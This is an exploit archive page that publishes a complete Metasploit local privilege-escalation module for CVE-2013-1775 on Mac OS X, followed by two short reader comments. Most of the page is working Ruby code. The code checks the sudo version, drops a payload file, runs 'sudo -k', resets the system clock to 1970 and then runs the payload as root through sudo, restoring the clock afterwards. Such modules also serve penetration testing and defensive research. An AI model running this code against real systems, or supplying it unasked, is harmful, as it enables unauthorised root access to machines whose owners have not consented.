what you don't know can hurt you

Mac OS X Sudo Password Bypass

Mac OS X Sudo Password Bypass
Posted Aug 26, 2013
Authored by Todd C. Miller, juan vazquez, joev | Site metasploit.com

This Metasploit module gains a session with root permissions on versions of OS X with sudo binary vulnerable to CVE-2013-1775. Tested working on Mac OS 10.7-10.8.4, and possibly lower versions. If your session belongs to a user with Administrative Privileges (the user is in the sudoers file and is in the "admin group"), and the user has ever run the "sudo" command, it is possible to become the super user by running `sudo -k` and then resetting the system clock to 01-01-1970. This Metasploit module will fail silently if the user is not an admin or if the user has never run the sudo command.

tags | exploit, root
systems | apple, osx
advisories | CVE-2013-1775, OSVDB-90677
MD5 | c576a86d9ee4a93abc0dde1445edcab8

Mac OS X Sudo Password Bypass

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#
# http://metasploit.com/
##
require 'shellwords'

class Metasploit3 < Msf::Exploit::Local

# ManualRanking because it's going to modify system time
# Even when it will try to restore things, user should use
# it at his own risk
Rank = NormalRanking

include Msf::Post::Common
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

SYSTEMSETUP_PATH = "/usr/sbin/systemsetup"
SUDOER_GROUP = "admin"
VULNERABLE_VERSION_RANGES = [['1.6.0', '1.7.10p6'], ['1.8.0', '1.8.6p6']]

# saved clock config
attr_accessor :time, :date, :networked, :zone, :network_server

def initialize(info={})
super(update_info(info,
'Name' => 'Mac OS X Sudo Password Bypass',
'Description' => %q{
This module gains a session with root permissions on versions of OS X with
sudo binary vulnerable to CVE-2013-1775. Tested working on Mac OS 10.7-10.8.4,
and possibly lower versions.

If your session belongs to a user with Administrative Privileges
(the user is in the sudoers file and is in the "admin group"), and the
user has ever run the "sudo" command, it is possible to become the super
user by running `sudo -k` and then resetting the system clock to 01-01-1970.

This module will fail silently if the user is not an admin or if the user has never
run the sudo command.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Todd C. Miller', # Vulnerability discovery
'joev <jvennix[at]rapid7.com>', # Metasploit module
'juan vazquez' # testing/fixing module bugs
],
'References' =>
[
[ 'CVE', '2013-1775' ],
[ 'OSVDB', '90677' ],
[ 'BID', '58203' ],
[ 'URL', 'http://www.sudo.ws/sudo/alerts/epoch_ticket.html' ]
],
'Platform' => 'osx',
'Arch' => [ ARCH_X86, ARCH_X86_64, ARCH_CMD ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [
[ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86
}
],
[ 'Mac OS X x64 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86_64
}
],
[ 'CMD',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 28 2013'
))
register_advanced_options([
OptString.new('TMP_FILE',
[true,'For the native targets, specifies the path that '+
'the executable will be dropped on the client machine.',
'/tmp/.<random>/<random>']
),
], self.class)
end

# ensure target is vulnerable by checking sudo vn and checking
# user is in admin group.
def check
if cmd_exec("sudo -V") =~ /version\s+([^\s]*)\s*$/
sudo_vn = $1
sudo_vn_parts = sudo_vn.split(/[\.p]/).map(&:to_i)
# check vn between 1.6.0 through 1.7.10p6
# and 1.8.0 through 1.8.6p6
if not vn_bt(sudo_vn, VULNERABLE_VERSION_RANGES)
print_error "sudo version #{sudo_vn} not vulnerable."
return Exploit::CheckCode::Safe
end
else
print_error "sudo not detected on the system."
return Exploit::CheckCode::Safe
end

if not user_in_admin_group?
print_error "sudo version is vulnerable, but user is not in the admin group (necessary to change the date)."
Exploit::CheckCode::Safe
end
# one root for you sir
Exploit::CheckCode::Vulnerable
end

def exploit
if not user_in_admin_group?
fail_with(Exploit::Failure::NotFound, "User is not in the 'admin' group, bailing.")
end
# "remember" the current system time/date/network/zone
print_good("User is an admin, continuing...")

# drop the payload (unless CMD)
if using_native_target?
cmd_exec("mkdir -p #{File.dirname(drop_path)}")
write_file(drop_path, generate_payload_exe)
register_files_for_cleanup(drop_path)
cmd_exec("chmod +x #{[drop_path].shelljoin}")
print_status("Payload dropped and registered for cleanup")
end

print_status("Saving system clock config...")
@time = cmd_exec("#{SYSTEMSETUP_PATH} -gettime").match(/^time: (.*)$/i)[1]
@date = cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match(/^date: (.*)$/i)[1]
@networked = cmd_exec("#{SYSTEMSETUP_PATH} -getusingnetworktime") =~ (/On$/)
@zone = cmd_exec("#{SYSTEMSETUP_PATH} -gettimezone").match(/^time zone: (.*)$/i)[1]
@network_server = if @networked
cmd_exec("#{SYSTEMSETUP_PATH} -getnetworktimeserver").match(/time server: (.*)$/i)[1]
end

run_sudo_cmd
end

def cleanup
print_status("Resetting system clock to original values") if @time
cmd_exec("#{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") unless @zone.nil?
cmd_exec("#{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") unless @date.nil?
cmd_exec("#{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") unless @time.nil?

if @networked
cmd_exec("#{SYSTEMSETUP_PATH} -setusingnetworktime On")
unless @network_server.nil?
cmd_exec("#{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}")
end
end

print_good("Completed clock reset.") if @time
end

private

def run_sudo_cmd
print_status("Resetting user's time stamp file and setting clock to the epoch")
cmd_exec(
"sudo -k; \n"+
"#{SYSTEMSETUP_PATH} -setusingnetworktime Off -settimezone GMT"+
" -setdate 01:01:1970 -settime 00:00"
)

# Run Test
test = rand_text_alpha(4 + rand(4))
sudo_cmd_test = ['sudo', '-S', ["echo #{test}"].shelljoin].join(' ')

print_status("Testing that user has sudoed before...")
output = cmd_exec('echo "" | ' + sudo_cmd_test)

if output =~ /incorrect password attempts\s*$/i
fail_with(Exploit::Failure::NotFound, "User has never run sudo, and is therefore not vulnerable. Bailing.")
elsif output =~ /#{test}/
print_good("Test executed succesfully. Running payload.")
else
print_error("Unknown fail while testing, trying to execute the payload anyway...")
end

# Run Payload
sudo_cmd_raw = if using_native_target?
['sudo', '-S', [drop_path].shelljoin].join(' ')
elsif using_cmd_target?
['sudo', '-S', '/bin/sh', '-c', [payload.encoded].shelljoin].join(' ')
end

## to prevent the password prompt from destroying session
## backgrounding the sudo payload in order to keep both sessions usable
sudo_cmd = 'echo "" | ' + sudo_cmd_raw + ' & true'

print_status "Running command: "
print_line sudo_cmd
output = cmd_exec(sudo_cmd)

end

# helper methods for accessing datastore
def using_native_target?; target.name =~ /native/i; end
def using_cmd_target?; target.name =~ /cmd/i; end
def drop_path
@_drop_path ||= datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10) }
end

# checks that the user is in OSX's admin group, necessary to change sys clock
def user_in_admin_group?
cmd_exec("groups `whoami`").split(/\s+/).include?(SUDOER_GROUP)
end

# helper methods for dealing with sudo's vn num
def parse_vn(vn_str); vn_str.split(/[\.p]/).map(&:to_i); end
def vn_bt(vn, ranges) # e.g. ('1.7.1', [['1.7.0', '1.7.6p44']])
vn_parts = parse_vn(vn)
ranges.any? do |range|
min_parts = parse_vn(range[0])
max_parts = parse_vn(range[1])
vn_parts.all? do |part|
min = min_parts.shift
max = max_parts.shift
(min.nil? or (not part.nil? and part >= min)) and
(part.nil? or (not max.nil? and part <= max))
end
end
end

end

Comments (2)

RSS Feed Subscribe to this comment feed
mkoek

Stupid question maybe, but if the user already has admin privileges by being a valid 'sudo'er... then what's the point?

Comment by mkoek
2013-08-31 08:11:43 UTC | Permalink | Reply
axman

Not a professional by any means but my take on it would be that since you usually have to enter the password when using sudo this provides a barrier to complete domination of the box. So you have to break through the system protection to get uncontested administrator privileges.

Comment by axman
2013-09-04 14:03:08 UTC | Permalink | Reply
Login or Register to post a comment

File Archive:

February 2015

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    2 Files
  • 2
    Feb 2nd
    17 Files
  • 3
    Feb 3rd
    15 Files
  • 4
    Feb 4th
    16 Files
  • 5
    Feb 5th
    14 Files
  • 6
    Feb 6th
    4 Files
  • 7
    Feb 7th
    0 Files
  • 8
    Feb 8th
    0 Files
  • 9
    Feb 9th
    0 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    0 Files
  • 13
    Feb 13th
    0 Files
  • 14
    Feb 14th
    0 Files
  • 15
    Feb 15th
    0 Files
  • 16
    Feb 16th
    0 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2015 Packet Storm. All rights reserved.

close